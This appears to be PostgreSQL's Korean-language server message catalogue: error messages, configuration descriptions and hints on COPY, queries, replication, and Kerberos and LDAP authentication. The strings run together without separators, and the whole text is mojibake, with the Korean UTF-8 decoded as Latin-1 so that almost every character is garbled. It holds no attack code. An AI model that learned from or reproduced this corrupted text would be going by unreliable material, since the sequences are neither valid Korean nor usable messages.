ì—†ìŒCOPY 따옴표는 CSV 모드ì—서만 사용할 수 있ìŒCOST는 양수여야 함CREATE ASSERTION ëª…ë ¹ì€ ì•„ì§ êµ¬í˜„ ë˜ì§€ 않았습니다CREATE TABLE AS êµ¬ë¬¸ì— ë„ˆë¬´ ë§Žì€ ì—´ ì´ë¦„ì´ ëª…ì‹œë˜ì–´ 있습니다CREATE VIEW 는 columns 보다는 ì¢€ë” ë§Žì€ ì—´ ì´ë¦„ì„ ëª…ì‹œí•´ì•¼ 한다CREATE êµ¬ë¬¸ì— ëª…ì‹œëœ schema (%s) ê°€ ìƒì„±ëœ (%s) ì˜ ê²ƒê³¼ 다릅니다CSV 따옴표는 NULL ì§€ì •ì— í‘œì‹œë˜ì§€ 않아야 함ë°ì´í„° ë””ë ‰í„°ë¦¬ì˜ ìƒëŒ€ 경로 ë˜ëŠ” 절대 경로로 지정할 수 있습니다.%s ìžë£Œí˜•ì„ %s ìžë£Œí˜•으로 형변환할 수 없습니다 해당 ì—´ %d.%dë°”ì´íŠ¸ê°€ í¬í•¨ëœ 문ìžì—´ 버í¼ë¥¼ %dë°”ì´íЏ ë” í™•ìž¥í•  수 없습니다.비재귀 ì¡°ê±´ì˜ ì¶œë ¥ì„ ì˜¬ë°”ë¥¸ 형ì‹ìœ¼ë¡œ 형변환하십시오.&apos;...&apos; 문ìžì—´ì—서 백슬래시가 리터럴로 처리ë˜ë„ë¡ í•©ë‹ˆë‹¤.<qbq>ì´ ìˆ˜ì¤€ ì´ìƒì—서 오류를 ìƒì„±í•˜ëŠ” 모든 ë¬¸ì´ ê¸°ë¡ë˜ë„ë¡ í•©ë‹ˆë‹¤.다양한 명령들ì—서 기본ì ìœ¼ë¡œ ìƒì†ë˜ëŠ” í…Œì´ë¸”들 함께 사용할 것ì¸ì§€ 정함.ì¸ì¦ì„œëŠ” 파기목ë¡ì— 대해서 í™•ì¸ ìž‘ì—…ì„ í•˜ì§€ ì•Šì„ ê²ƒìž…ë‹ˆë‹¤ëŒ€ì‹ ì— ê·¸ ì¸ë±ìŠ¤ì˜ í•´ë‹¹ í…Œì´ë¸” 소유ìžì„ 변경하세요."SPI_finish" í˜¸ì¶œì´ ë¹ ì¡ŒëŠ”ì§€ 확ì¸í•˜ì„¸ìš”ë””ìŠ¤í¬ ì—¬ìœ  ê³µê°„ì„ í™•ì¸í•´ 주십시오.CREATE FUNCTION 명령으로 함수를 만들 때, 함수 본문 ë¶€ë¶„ì˜ êµ¬ë¬¸ì„ ê²€ì‚¬í•©ë‹ˆë‹¤.<qbq>실행 ì¤‘ì¸ ì´ì „ 서버 프로세스가 있는지 확ì¸í•˜ê³  <qbq>종료하십시오.í´ë¼ì´ì–¸íЏ ì—°ê²° 초기값í´ë¼ì´ì–¸íЏ ì—°ê²° 초기값 / 로캘과 출력양ì‹í´ë¼ì´ì–¸íЏ ì—°ê²° 초기값 / 기타 초기값í´ë¼ì´ì–¸íЏ ì—°ê²° 초기값 / 구문 특성트랜잭션ID 최대값 초과로 ìžë£Œê°€ ê²¹ì³ì§€ëŠ” 문제를 피하기 위해서는 지금 즉시 ì—´ë ¤ 있는 모든 íŠ¸ëžœìž­ì…˜ì„ ë‹«ìœ¼ì‹­ì‹œì˜¤.명령 ì‹¤í–‰ì— ëŒ€í•œ 정보를 수집함<qbq>완료할 ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì´ ìžˆëŠ” ë°ì´í„°ë² ì´ìŠ¤ì— ì—°ê²°í•˜ì‹­ì‹œì˜¤.ì—°ê²°ê³¼ ì¸ì¦ì—°ê²°ê³¼ ì¸ì¦ / ì—°ê²° 설정값연결과 ì•ˆì¦ / 보안과 ì¸ì¦"checkpoint_segments" 환경 매개 변수 ê°’ì„ ì¢€ ëŠë ¤ë³´ì‹­ì‹œì˜¤.ëŒ€ì‹ ì— í…Œì´ë¸”스페ì´ìŠ¤ë¥¼ ì´ìš©í•˜ì„¸ìš”.ë” ìžì„¸í•œ ê²ƒì€ ì„œë²„ 로그 파ì¼ì„ 살펴보십시오.ì†ìƒëœ ìžë£Œ í—¤ë” ë°œê²¬ì‹œ 작업 ì§„í–‰ 여부 ì„ íƒì–´ì¨Œë“  계ì†í•˜ëŠ”ë°, 뭔가 잘못 ëœ ê²ƒì´ ìžˆìŠµë‹ˆë‹¤.30ì´ˆ ë™ì•ˆ 계ì†í•´ì„œ 다시 시ë„합니다."%s" 파ì¼ì„ ë‹«ì„ ìˆ˜ ì—†ìŒ: %m."%s" íŒŒì¼ fsync 실패: %m."%s" 파ì¼ì„ ì—´ 수 ì—†ìŒ: %m."%s" 파ì¼ì—서 %u 위치를 ì½ì„ 수 ì—†ìŒ: %m."%s" 파ì¼ì—서 %u 위치를 ì°¾ì„ ìˆ˜ ì—†ìŒ: %m."%s" 파ì¼ì—서 %u ìœ„ì¹˜ì— ì“¸ 수 ì—†ìŒ: %m.기본ì ìœ¼ë¡œ OID를 사용하여 새 í…Œì´ë¸”ì„ ë§Œë“­ë‹ˆë‹¤.ì…¸ 타입 ì •ì˜ë¥¼ 만들고 ìžˆìŠµë‹ˆë‹¤ì‚¬ìš©ìž ì •ì˜ ì˜µì…˜ë“¤ë””ë²„ê·¸DEFAULT는 INSERT ë‚´ì˜ VALUES 목ë¡ì—ë§Œ í‘œì‹œë  ìˆ˜ 있ìŒìƒì„¸ì •ë³´:  ì°½ í•¨ìˆ˜ì— ëŒ€í•´ DISTINCTê°€ 구현ë˜ì§€ 않ìŒDISTINCT ì¡°ê±´ì¼ ê²½ìš°ëŠ” ì˜¤ì§ í•˜ë‚˜ì˜ ì¸ìˆ˜ë§Œ 사용할 수 있는 집계함수만 ì§€ì›í•©ë‹ˆë‹¤DISTINCT ê°€ 명시ë˜ì–´ 있는ë°, 그러나 ì´ %s 는 집합함수가 아닙니다CREATE ASSERTION ëª…ë ¹ì€ ì•„ì§ êµ¬í˜„ ë˜ì§€ 않았습니다ë°ì´í„°ë² ì´ìФ OID %uì´(ê°€) 현재 "%s"ì— ì†í•´ 있는 것 같습니다.datetime í˜•ì„ ì •ìˆ˜í˜•ìœ¼ë¡œ 사용함12섣달뒤로 ì´ë™ 가능한 커서를 만드려면 SCROLL ì˜µì…˜ì„ ì¶”ê°€í•´ì„œ 커서를 만드세요.ì¼ë°˜ì ìœ¼ë¡œ ì†ìƒëœ 페ì´ì§€ í—¤ë”를 발견하게 ë˜ë©´, PostgreSQLì—서는 오류를 ë°œìƒí•˜ê³ , 현재 íŠ¸ëžœìž­ì…˜ì„ ì¤‘ì§€í•©ë‹ˆë‹¤. ì´ ê°’ì„ true로 지정하면, ì´ëŸ° ì†ìƒëœ 페ì´ì§€ë¥¼ 발견하면, 경고 메시지를 보여주고, ê·¸ 페ì´ì§€ì˜ í¬ê¸°ë¥¼ 0으로 만들고 ìž‘ì—…ì„ ê³„ì† ì§„í–‰í•©ë‹ˆë‹¤. ì´ ê¸°ëŠ¥ì„ ì‚¬ìš©í•œë‹¤ í•¨ì€ ì†ìƒëœ ìžë£Œë¥¼ 없애겠다는 ê²ƒì„ ì˜ë¯¸í•©ë‹ˆë‹¤. ì´ê²ƒì€ ê³§ 저장ë˜ì–´ìžˆëŠ” ìžë£Œê°€ ì‚­ì œ ë  ìˆ˜ë„ ìžˆìŒì„ ì˜ë¯¸í•˜ê¸°ë„ 합니다.ê°œë°œìž ì˜µì…˜ë“¤ì‹œìŠ¤í…œ ì¸ë±ìФ ì½ê¸°ë¥¼ 금지함<qbq>í˜•ì‹ í…œí”Œë¦¿ì— ì–‘ë ¥ ë° ISO week date ê·œì¹™ì„ í•¨ê»˜ 사용하지 마십시오.오류WAL 관련 디버깅 ì¶œë ¥ì„ ë‚´ë³´ëƒ…ë‹ˆë‹¤.ì •ë ¬ 시 리소스 사용 정보를 내보냅니다.íž™ ì •ë ¬ì„ í†µí•´ ì œí•œì  ì •ë ¬ì„ ì‚¬ìš©í•©ë‹ˆë‹¤.ë°°ì—´ì— NULL 요소가 ìž…ë ¥ë  ìˆ˜ 있ë„ë¡ í•©ë‹ˆë‹¤."stats_start_collector", "stats_row_level" ë‘ ì„¤ì • ê°’ì„ í™œì„±í™” 시키세요."track_counts" ì˜µì…˜ì„ ì‚¬ìš©í•˜ì‹­ì‹œì˜¤.SSL ì—°ê²°ì„ ê°€ëŠ¥í•˜ê²Œ 함.ìœ ì „ì  ì¿¼ë¦¬ 최ì í™”(GEQO)를 사용함per-database ì‚¬ìš©ìž ì´ë¦„ 활성화.ê° ì„¸ì…˜ì—서 사용하고 있는 현재 실행 ì¤‘ì¸ ëª…ë ¹ì˜ ìˆ˜í–‰ 시간, 명령 ë‚´ìš©ë“±ì— ëŒ€í•œ 정보를 수집하ë„ë¡ í•¨ì‹¤í–‰ê³„íšê¸°ê°€ 쿼리 최ì í™” 작업ì—서 제약 ì¡°ê±´ì„ ì‚¬ìš©í•˜ë„ë¡ í•¨ì‹¤í–‰ê³„íšìžê°€ TID 스캔 계íšì„ 사용함실행계íšê¸°ê°€ bitmap-scan 계íšì„ 사용하ë„ë¡ í•¨ì‹¤í–‰ê³„íšìžê°€ 명시 ì •ë ¬ 단계(explicit sort step)를 사용함실행계íšìžê°€ 해시 ì¡°ì¸(hash join) 계íšì„ 사용함실행계íšìžê°€ í•´ì‹œëœ ì§‘ê³„ 계íšì„ 사용함실행계íšìžê°€ ì¸ë±ìФ-스캔 계íšì„ 사용함.실행계íšìžê°€ 병합 ì¡°ì¸(merge join) 계íšì„ 사용함실행계íšìžê°€ 근접순환 ì¡°ì¸(nested-loop join) 계íšì„ 사용함실행계íšìžê°€ 순차ì -스캔(sequential-sca) 계íšì„ 사용함<qbq>서버가 새 SQL ëª…ë ¹ì„ ë°›ì„ ë•Œë§ˆë‹¤ 프로세스 ì œëª©ì´ <qbq>ì—…ë°ì´íŠ¸ë  ìˆ˜ 있ë„ë¡ í•©ë‹ˆë‹¤.암호를 암호화 해서 기ë¡í•¨<qbq>"%s" 표준 시간대 파ì¼ì˜ %d번째 ì¤„ì— ìžˆëŠ” í•­ëª©ì´ "%s<qbq>" 파ì¼ì˜ %d번째 ì¤„ì— ìžˆëŠ” 항목과 ì¶©ëŒí•©ë‹ˆë‹¤.ì´ìŠ¤ì¼€ì´í”„ 문ìžì—´ì€ 비어있거나 í•œê°œì˜ ë¬¸ìžì—¬ì•¼ 합니다.시스템 보안 관련 문제로, PostgreSQL server를 시스템 ê´€ë¦¬ìž ID로 실행할 수 없습니다.
반드시 ì¼ë°˜ ì‚¬ìš©ìž ID(시스템 ê´€ë¦¬ìž ê¶Œí•œì´ ì—†ëŠ” ID)로 서버를 실행하십시오.
Server를 어떻게 안전하게 기ë™í•˜ëŠ”ê°€ 하는 ê²ƒì€ ë¬¸ì„œë¥¼ 참조하시기 ë°”ëžë‹ˆë‹¤.
%d ê°œì˜ ë§¤ê°œ 변수가 요구ë˜ëŠ”ë° %d ê°œë§Œì´ ì¡´ìž¬í•©ë‹ˆë‹¤ìˆ«ìž íƒ€ìž„ë¼ì¸ IDê°€ 필요합니다.ì›í•˜ëŠ” 형ì‹ìœ¼ë¡œ 명시ì ìœ¼ë¡œ 형변환하십시오(예: ARRAY[]::integer[]).확장 ë¼ì´ë¸ŒëŸ¬ë¦¬ë¥¼ 만들 때, PG_MODULE_MAGIC 매í¬ë¡œë¥¼ 사용해서 만드세요.치명ì ì˜¤ë¥˜ìž¬ê·€ ì¿¼ë¦¬ì˜ FOR UPDATE/SHAREê°€ 구현ë˜ì§€ 않ìŒ"%s" FORCE NOT NULL ì—´ì€ COPYì—서 참조ë˜ì§€ 않ìŒ"%s" FORCE QUOTE ì—´ì€ COPYì—서 참조ë˜ì§€ 않ìŒFULL JOINì€ ë³‘í•©-ì¡°ì¸ ê°€ëŠ¥ ì¡°ì¸ ì¡°ê±´ì—서만 ì§€ì›ë¨í¬ê¸°ê°€ %luì¸ ìš”ì²­ì—서 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤.semget(%lu, %d, 0%o) í˜¸ì¶œì— ì˜í•œ 시스템 콜 실패shmget(키=%lu, í¬ê¸°=%lu, 0%o) 시스템 콜 실패"%s" 메모리 컨í…스트를 만드는 ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤.2ì´ì›”í•„ë“œì— %dìžê°€ í•„ìš”í•œë° %dìžë§Œ 구문 ë¶„ì„í•  수 있습니다.í•„ë“œì— %dìžê°€ í•„ìš”í•œë° %dìžë§Œ 남았습니다."%s" 파ì¼ì— ìž˜ëª»ëœ ìžë£Œê°€ 기ë¡ë˜ì–´ 있습니다."%s" 파ì¼ì´ 없습니다.íŒŒì¼ ìœ„ì¹˜íŒŒì¼ì€ ë°ì´í„°ë² ì´ìФ 사용ìžì— ì˜í•´ 소유ë˜ì–´ì•¼ 하며 그리고 "group" ë˜ëŠ” "other"ì— ê¶Œí•œì´ ì£¼ì–´ì§€ë©´ 안ëœë‹¤<qbq>RAID ë°°ì—´ì˜ ê²½ìš° ì´ ê°’ì€ ëŒ€ëžµ ë°°ì—´ì˜ ë“œë¼ì´ë¸Œ 스핀들 <qbq>수입니다.예, FROM (SELECT ...) [AS] foo.예, FROM (VALUES ...) [AS] foo.<qbq>새 파ì¼ì´ Nì´ˆ ë‚´ì— ì‹œìž‘ë˜ì§€ ì•Šì€ ê²½ìš° 강제로 ë‹¤ìŒ xlog 파ì¼ë¡œ <qbq>전환합니다.강제로 ë³€ê²½ëœ ë²„í¼ ìžë£Œë¥¼ 디스í¬ì™€ ë™ê¸°í™” 시킴.ì°¸ì¡°ëœ í…Œì´ë¸”ì˜ DELETE 트리거를 찾았습니다.ì°¸ì¡°ëœ í…Œì´ë¸”ì˜ UPDATE 트리거를 찾았습니다.참조 í…Œì´ë¸”ì˜ íŠ¸ë¦¬ê±°ë¥¼ 찾았습니다.금금요ì¼GEQO: 다른 GEQO 매개 ë³€ìˆ˜ì˜ ê¸°ë³¸ ê°’ì„ ì„¤ì •í•˜ëŠ” ë° ì‚¬ìš©ë©ë‹ˆë‹¤.GEQO: ëª¨ì§‘ë‹¨ì˜ ê°œì¸ ìˆ˜ìž…ë‹ˆë‹¤.GEQO: ì•Œê³ ë¦¬ì¦˜ì˜ ë°˜ë³µ 수입니다.GEQO: 모집단 ë‚´ì˜ ì„ íƒ ì••ë ¥ìž…ë‹ˆë‹¤.GIN ì¸ë±ìŠ¤ëŠ” ì „ì²´ ì¸ë±ìФ 스캔(whole-index scan)ì„ ì§€ì›í•˜ì§€ 않습니다LISTEN, NOTIFY 명령 ì‚¬ìš©ì„ ìœ„í•œ 디버깅 ì¶œë ¥ì„ ë§Œë“¦.힌트:  INCREMENT ê°’ì€ 0(zero)ì´ ë  ìˆ˜ 없습니다정보INSERT êµ¬ë¬¸ì— target columns 보다 ë” ë§Žì€ í‘œí˜„ì‹ì´ 존재하고 있다INSERT êµ¬ë¬¸ì— target columns 보다 ë” ë§Žì€ í‘œí˜„ì‹(expressions)ì´ ì¡´ìž¬í•˜ê³  있다SELECT ì—서 INSTEAD NOTHING 룰(rule)ì€ êµ¬í˜„ë˜ì§€ 않았습니다INTERVAL(%d) ì •ë°€ë„로 ìŒìˆ˜ê°’ì´ ì˜¬ 수 없습니다INTERVAL(%d) ì •ë°€ë„는 허용 최대치(%d)로 ê°ì†Œ ë˜ì—ˆìŠµë‹ˆë‹¤INTO 는 UNION/INTERSECT/EXCEPT ì˜ ì²«ë²ˆì§¸ SELECT ì—ë§Œ 허용ëœë‹¤IP 주소와 maskê°€ 서로 ì¼ì¹˜í•˜ì§€ 않는 ê²ƒì´ "%s" 파ì¼, %d 번째 ì¤„ì— ìžˆìŠµë‹ˆë‹¤IPv4IPv6IS DISTINCT FROM 구문ì—서는 set ì¸ìˆ˜ë“¤ì„ ì§€ì›í•˜ì§€ 않습니다IS DISTINCT FROM ì ˆì—서 boolean ê°’ì„ ì–»ê¸° 위해서 = ì—°ì‚°ìžë¥¼ 필요로 í•©ë‹ˆë‹¤ì‚¬ìš©ìž "%s"ì˜ Ident ì¸ì¦ì„ 실패했습니다현재 ì‹¤í–‰ì¤‘ì¸ í”Œëž«í¼ì˜ 로컬 ì—°ê²°ì—서 Ident ì¸ì¦ì€ ì§€ì›ë˜ì§€ 않습니다.ì‹ë³„ìž(Identifier)는 %d ê¸€ìž ì´ìƒì¼ 수 없습니다.<qbq>ë™ì ìœ¼ë¡œ 로드 가능한 ëª¨ë“ˆì„ ì—´ì–´ì•¼ í•˜ëŠ”ë° ì§€ì •í•œ ì´ë¦„ì— <qbq>디렉터리 구성 요소가 없는 경우(즉, ì´ë¦„ì— <qbq>슬래시가 ì—†ìŒ) ì‹œìŠ¤í…œì€ ì´ ê²½ë¡œì—서 지정한 파ì¼ì„ 검색합니다.비워 ë‘ë©´ ì ‘ë‘사가 사용ë˜ì§€ 않습니다.ì´ ì‚¬íƒœë¡œ 몇몇 ìžë£Œê°€ ì†ìƒë˜ì—ˆì„ ìˆ˜ë„ ìžˆëŠ”ë°, ì´ëŸ° 경우ë¼ë©´,확ì¸í•´ ë³´ê³ , 필요하다면, 마지막 백업 ìžë£Œë¡œ 복구해서 사용하세요.ì´ ë§¤ê°œ 변수가 true로 지정ë˜ë©´, ìžë™ìœ¼ë¡œ 백그ë¼ìš´ë“œë¡œ 실행하며, ë”ì´ìƒ 터미ë„ì—서 제어하기 불가능해집니다.실시간 백업 ìžë£Œë¡œë¶€í„° 복구 ìž‘ì—…ì„ í•˜ì§€ 않으려면, "%s/backup_lable" 파ì¼ì„ ì‚­ì œ 하세요.실재로는 백업 ìž‘ì—…ì„ ì•ˆí•˜ê³  있다고 확신한다면, "%s" 파ì¼ì„ 삭제하고 다시 시ë„í•´ 보십시오.<qbq>소스 문ìžì—´ì´ ê³ ì • 너비가 아닌 경우 "FM" 한정ìžë¥¼ 사용해 보십시오.잠시 ë’¤ì— ë‹¤ì‹œ ì—°ê²° 해서 ìž‘ì—…ì„ ê³„ì† í•˜ì‹­ì‹œì˜¤í¬ëž˜ì‹œ ìž¬ìƒ ë„중 불완전한 ì‚½ìž…ì´ ê°ì§€ë˜ì—ˆìŠµë‹ˆë‹¤.페ì´ì§€ í—¤ë”ì˜ XLOG_BLCKSZ ê°’ì´ ìž˜ëª» ë˜ì—ˆìŠµë‹ˆë‹¤íŽ˜ì´ì´ 핸들러ì—서 ìž˜ëª»ëœ XLOG_SEG_SIZE ê°’ì´ ìžˆìŒmax_prepared_transactions ê°’ì„ ëŠ˜ë ¤ì£¼ì„¸ìš” (현재 %d).먼저 OSì—서 ì§€ì›í•˜ëŠ” ìŠ¤íƒ depth ìµœëŒ€ê°’ì„ í™•ì¸í•œ ë’¤, 허용범위 안ì—서 "max_stack_depth" 매개 변수 ê°’ì˜ ì„¤ì •ì¹˜ë¥¼ ì¦ê°€ì‹œí‚¤ì„¸ìš”.OSì˜ "ulimit -s" 명령과 ê°™ì€ ê²ƒìœ¼ë¡œ ìŠ¤íƒ ê¹Šì´ë¥¼ 늘려주십시오.구문과 실행계íšì„ ë³´ì—¬ 줄때, 들여쓰기를 함.ìž…ë ¥ì— ë„ˆë¬´ ì ì€ ì—´ì„ ì§€ì •í–ˆìŠµë‹ˆë‹¤.ìž…ë ¥ì— ë„ˆë¬´ ë§Žì€ ì—´ì„ ì§€ì •í–ˆìŠµë‹ˆë‹¤.ê°„ê²©ì´ íŠ¹ì • 달력 ë‚ ì§œì— ì—°ê²°ë˜ì–´ 있지 않습니다.다른 postgres 프로그램(PID %d)ì´ "%s" ë°ì´í„° 디렉터리를 사용해서 실행중입니까?다른 postgres 프로그램(PID %d)ì´ "%s" 소켓 파ì¼ì„ 사용해서 실행중입니까?다른 postmaster 프로그램(PID %d)ì´ "%s" ë°ì´í„° 디렉터리를 사용해서 실행중입니까?다른 postmaster 프로그램(PID %d)ì´ "%s" 소켓 파ì¼ì„ 사용해서 실행중입니까?다른 postmaster ê°€ í¬íЏ %dì—서 ì´ë¯¸ 실행중ì¸ê²ƒ 같습니다? 그렇지 않다면 소켓 íŒŒì¼ "%s"ì„ ì œê±°í•˜ê³  다시 시ë„해보십시오다른 postmaster ê°€ í¬íЏ %dì—서  ì´ë¯¸ 실행중ì¸ê²ƒ 같습니다? 그렇지 않다면 몇 초를 기다렸다가 다시 시ë„해보십시오.Ispell ì‚¬ì „ì€ ê¸°ë³¸ 플래그 ê°’ë§Œ ì§€ì›í•¨<qbq>ì¸ë±ìФ ì—…ë°ì´íŠ¸ëŠ” 차단ë˜ì§€ 않으므로 아무 문제 ì—†ì´ ì‚¬ìš©í•  수 있습니다.  <qbq>ìµœì•…ì˜ ê²°ê³¼ëŠ” 성능 저하입니다.initdb ëª…ë ¹ì´ í•„ìš”í•œ 듯 합니다서버를 새로 ì»´íŒŒì¼ í•˜ê±°ë‚˜ initdb ëª…ë ¹ì„ ì‚¬ìš©í•´ 새로 ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ë¥¼ 다시 만들거나 해야할 것 같습니다.ì‚­ì œë˜ì—ˆê±°ë‚˜ ì´ë¦„ì´ ë°”ë€ ê²ƒ 같습니다.ì´ ë§¤ê°œ 변수는 7.3.x 버전 client ì—서 사용할 수 있는 SET AUTOCOMMIT TO ON ëª…ë ¹ì´ í—ˆìš©ë˜ë„ë¡ í•˜ê¸° 위해서 존재할 ë¿ìž…니다.JOIN/ON ì ˆì´ "%s" 를 참조하는ë°, ì´ê²ƒì€ JOIN ì˜ ì¼ë¶€ê°€ 아니다1ì •ì›”7ì¹ ì›”6유월오른쪽 괄호가 필요합니다.ì‚¬ìš©ìž "%s"ì˜ kerberos 5 ì¸ì¦ì„ 실패했습니다Kerberos 5는 ì´ ì„œë²„ì—서 실행ë˜ì§€ 않습니다커베로스 초기화 실패, 오류번호 %d커베로스 키탭 ë¶„ì„ ì‹¤íŒ¨, 오류번호 %dKerberos recvauth ì—러 %d로 ëŒë ¤ë³´ëƒˆìŠµë‹ˆë‹¤.Kerberos sname_to_principal("%s", "%s") 함수ì—서 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤: 리턴값 %dKerberos는 í•´ì„ë˜ì§€ ì•Šì€ ì´ë¦„ì„ ì—러 %d로 ëŒë ¤ë³´ëƒˆìŠµë‹ˆë‹¤(%s)=(%s) 키가 "%s" í…Œì´ë¸”ì— ì—†ìŠµë‹ˆë‹¤.(%s)=(%s) 키가 "%s" í…Œì´ë¸”ì—서 여전히 참조ë©ë‹ˆë‹¤."%s" ì—´ê³¼ "%s" ì—´ ì¸ë±ìŠ¤ëŠ” 함께 사용할 수 없는 ìžë£Œí˜•입니다: %s and %s."%s" 사용ìžì˜ LDAP ì¸ì¦ì„ 실패했습니다"%s" 사용ìžì˜ LDAP ë¡œê·¸ì¸ ì‹¤íŒ¨, 서버: "%s", 오류코드: %dì´ í”Œëž«í¼ì—서는 SSLì„ ì´ìš©í•œ LDAP ê¸°ëŠ¥ì„ ì§€ì›í•˜ì§€ 않ìŒ.LIKE íŒ¨í„´ì€ ì´ìŠ¤ì¼€ì´í”„ 문ìžë¡œ ë나지 않아야 함LIMIT #,# êµ¬ë¬¸ì€ ì§€ì›í•˜ì§€ 않습니다.재귀 ì¿¼ë¦¬ì˜ LIMITê°€ 구현ë˜ì§€ 않ìŒLOCATION 예약어는 ì´ì œ ë”ì´ìƒ ì§€ì›í•˜ì§€ 않습니다위치: %s, %s:%d
위치: %s:%d
ë¡œê·¸ì¤„ì— í˜•ì‹ ë§¤ê°œ 변수 = &apos;ê°’&apos;ì´ ìžˆì–´ì•¼ 합니다.ê°ê°ì˜ ë°±ì—”ë“œì— ë¯¸ë¦¬ 불러올 공유 ë¼ì´ë¸ŒëŸ¬ë¦¬ë“¤ì„ ì§€ì •í•©ë‹ˆë‹¤ì„œë²„ì— ë¯¸ë¦¬ 불러올 공유 ë¼ì´ë¸ŒëŸ¬ë¦¬ë“¤ì„ 지정합니다Lock ê´€ë¦¬ì´ í‚¬ë¡œë°”ì´íЏ 수보다 í° ìž„ì‹œ 파ì¼ì˜ ì‚¬ìš©ì„ ê¸°ë¡í•©ë‹ˆë‹¤.ê° ì¿¼ë¦¬ì˜ êµ¬ë¬¸ ë¶„ì„ íŠ¸ë¦¬ë¥¼ 기ë¡í•©ë‹ˆë‹¤.ê° ì¿¼ë¦¬ì˜ ìž¬ìž‘ì„±ëœ êµ¬ë¬¸ ë¶„ì„ íŠ¸ë¦¬ë¥¼ 기ë¡í•©ë‹ˆë‹¤.ì—°ê²° 성공한 정보들 모ë‘를 기ë¡í•¨ê¸°ê°„ì„ í¬í•¨í•˜ì—¬ ì„¸ì…˜ì˜ ëì„ ê¸°ë¡í•©ë‹ˆë‹¤.긴 잠금 대기를 기ë¡í•©ë‹ˆë‹¤.SQL 명령 êµ¬ë¬¸ì˜ ì‹¤í–‰ì™„ë£Œ ì‹œê°„ì„ ê¸°ë¡í•¨ì—°ê²° 기ë¡ì—서 호스트 ì´ë¦„ì„ ê¸°ë¡í•¨.하한 ë°°ì—´ì˜ í¬ê¸°ê°€ ì°¨ì› ë°°ì—´ê³¼ 다릅니다.ì°¨ì› ë°°ì—´ì˜ í•˜í•œì€ 1ì´ì–´ì•¼ 합니다.MATCH FULLì— null 키 ê°’ê³¼ nonnull 키 ê°’ì„ í•¨ê»˜ 사용할 수 없습니다.MATCH PARTIAL ê¸°ëŠ¥ì€ ì•„ì§ êµ¬í˜„ 안ë˜ì—ˆìŠµë‹ˆë‹¤<qbq>"db_user_namespace"ê°€ 사용 가능한 경우 MD5 ì¸ì¦ì€ ì§€ì›ë˜ì§€ 않ìŒë¡¤ ì´ë¦„ì´ ë³€ê²½ ë˜ì–´ MD5 암호를 지웠습니다MINVALUE (%s) ê°’ì€ MAXVALUE (%s) 값보다 ìž‘ì•„ì•¼í•©ë‹ˆë‹¤ë§¤ì§ ë¸”ë¡ì— 예기치 ì•Šì€ ê¸¸ì´ ë˜ëŠ” 여백 ì°¨ì´ê°€ 있습니다.ì„ ì–¸ 형ì‹ì´ 잘못ë¨: ë²„ì „ì´ ëˆ„ë½ë˜ì—ˆìŠµë‹ˆë‹¤.3삼월MaxFragments는 0보다 í¬ê±°ë‚˜ 같아야 함TCP keepalive í™•ì¸ ìµœëŒ€ 횟수오월MinWords는 MaxWords보다 작아야 함MinWords는 양수여야 함VACUUMì—서 í…Œì´ë¸” í–‰ì„ ë™ê²°í•  ë•Œê¹Œì§€ì˜ ìµœì†Œ 기간입니다.ë¶„ì„ ì „ì˜ ìµœì†Œ 튜플 삽입, ì—…ë°ì´íЏ ë˜ëŠ” ì‚­ì œ 수입니다.청소 ì „ì˜ ìµœì†Œ 튜플 ì—…ë°ì´íЏ ë˜ëŠ” ì‚­ì œ 수입니다.í…스트 ì„ ì–¸ì—서 ì¸ì½”ë”©ì´ ëˆ„ë½ë˜ì—ˆìŠµë‹ˆë‹¤.왼쪽 괄호가 필요합니다.월월요ì¼ë¼ìš´ë“œë‹¹ 해제할 í‰ê·  ë²„í¼ ì‚¬ìš©ì˜ ë°°ìˆ˜ìž…ë‹ˆë‹¤.해당 ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì˜ ì†Œìœ ì£¼ì´ê±°ë‚˜ superuser여야합니다테ì´ë¸”스페ì´ìŠ¤ëŠ” superuserë§Œ 만들 수 있습니다."릴레ì´ì…˜ì´ë¦„.칼럼ì´ë¦„" 형태로 제공해야합니다.ruleì´ ì•„ë‹Œ 쿼리ì—서 NEW 예약어가 사용ë˜ì—ˆìŠµë‹ˆë‹¤ì•Œë¦¼NULLIF는 set ì¸ìˆ˜ë“¤ì„ ì§€ì›í•˜ì§€ 않습니다NULIF ì ˆì€ boolean ê°’ì„ ì–»ê¸° 위해서 = ì—°ì‚°ìžë¥¼ 필요로 합니다NUMERIC ì •ë°€ë„ %d ê°’ì€ ë²”ìœ„(1 .. %d)를 벗어났습니다.NUMERIC ìŠ¤ì¼€ì¼ %d ê°’ì€ ì •ë°€ë„ ë²”ìœ„(0 .. %d)를 벗어났습니다."%s" í…Œì´ë¸”ì— í•´ë‹¹ ìžë£Œê°€ 없습니다.메모리가 부족하여 ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì˜ ìž ê¸ˆì„ ë‹¤ì‹œ 지정할 수 없습니다.CSV ë°ì´í„°ë¥¼ 보낼 수 ì—†ìŒ
11ë™ì§“달<qbq>ë””ìŠ¤í¬ í•˜ìœ„ 시스템ì—서 효율ì ìœ¼ë¡œ 처리할 수 있는 ë™ì‹œ 요청 <qbq>수입니다.<qbq>ë¶„ì„ ì „ì˜ íŠœí”Œ 삽입, ì—…ë°ì´íЏ ë˜ëŠ” ì‚­ì œ 수로, <qbq>reltuplesì˜ ë¶„ìˆ˜ 값입니다.<qbq>청소 ì „ì˜ íŠœí”Œ ì—…ë°ì´íЏ ë˜ëŠ” ì‚­ì œ 수로, <qbq>reltuplesì˜ ë¶„ìˆ˜ 값입니다.재귀 ì¿¼ë¦¬ì˜ OFFSETì´ êµ¬í˜„ë˜ì§€ 않ìŒOIDì˜ ë²”ìœ„ë¥¼ 벗어났습니다.ruleì´ ì•„ë‹Œ 쿼리ì—서 OLD 예약어가 사용ë˜ì—ˆìŠµë‹ˆë‹¤ON COMMIT ì˜µì…˜ì€ ìž„ì‹œ í…Œì´ë¸”ì—서만 ì‚¬ìš©ë  ìˆ˜ 있습니다재귀 ì¿¼ë¦¬ì˜ ORDER BYê°€ 구현ë˜ì§€ 않ìŒOUT ë° INOUT ì¸ìˆ˜ëŠ” TABLE í•¨ìˆ˜ì— ì‚¬ìš©í•  수 ì—†ìŒ10시월결과 ì—´ ì´ë¦„ë§Œ 사용할 수 있고 ì‹ 